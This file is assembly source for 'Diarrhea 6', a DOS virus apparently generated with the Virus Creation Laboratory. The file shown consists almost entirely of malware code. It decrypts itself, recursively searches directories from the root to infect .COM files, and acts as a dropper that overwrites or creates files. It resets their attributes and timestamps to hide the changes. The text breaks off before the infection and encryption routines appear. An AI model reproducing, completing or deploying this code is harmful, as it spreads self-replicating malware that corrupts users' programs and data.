📄 diarrhe6.asm
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; DIARRHE6.ASM -- DIARRHEA 6
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by URNST KOUCH
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
call search_files ; Find and infect a file
call search_files ; Find and infect another file
lea dx,[di + data00] ; DX points to data
lea si,[di + data01] ; SI points to data
push di ; Save DI
mov ah,02Fh ; DOS get DTA function
int 021h
mov di,bx ; DI points to DTA
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
int 021h
jc create_file ; If not found then create it
write_in_file: mov ax,04301h ; DOS set file attributes function
xor cx,cx ; File will have no attributes
lea dx,[di + 01Eh] ; DX points to file name
int 021h
mov ax,03D01h ; DOS open file function, write
lea dx,[di + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; Transfer file handle to AX
mov ah,040h ; DOS write to file function
mov cx,[si] ; CX holds number of byte to write
lea dx,[si + 2] ; DX points to the data
int 021h
mov ax,05701h ; DOS set file date/time function
mov cx,[di + 016h] ; CX holds old file time
mov dx,[di + 018h] ; DX holds old file data
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attributes function
xor ch,ch ; Clear CH for attributes
mov cl,[di + 015h] ; CL holds old attributes
lea dx,[di + 01Eh] ; DX points to file name
int 021h
mov ah,04Fh ; DOS find next file function
int 021h
jnc write_in_file ; If successful do next file
jmp short dropper_end ; Otherwise exit
create_file: mov ah,03Ch ; DOS create file function
xor cx,cx ; File has no attributes
int 021h
xchg bx,ax ; Transfer file handle to AX
mov ah,040h ; DOS write to file function
mov cx,[si] ; CX holds number of byte to write
lea dx,[si + 2] ; DX points to the data
int 021h
mov ah,03Eh ; DOS close file function
int 021h
dropper_end: pop di ; Restore DI
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
lea dx,[di + root] ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
lea dx,[di + all_files] ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
lea dx,[di + up_dir] ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
lea dx,[di + com_mask] ; DX points to "*.COM"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
com_mask db "*.COM",0 ; Mask for all .COM files
traverse endp
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
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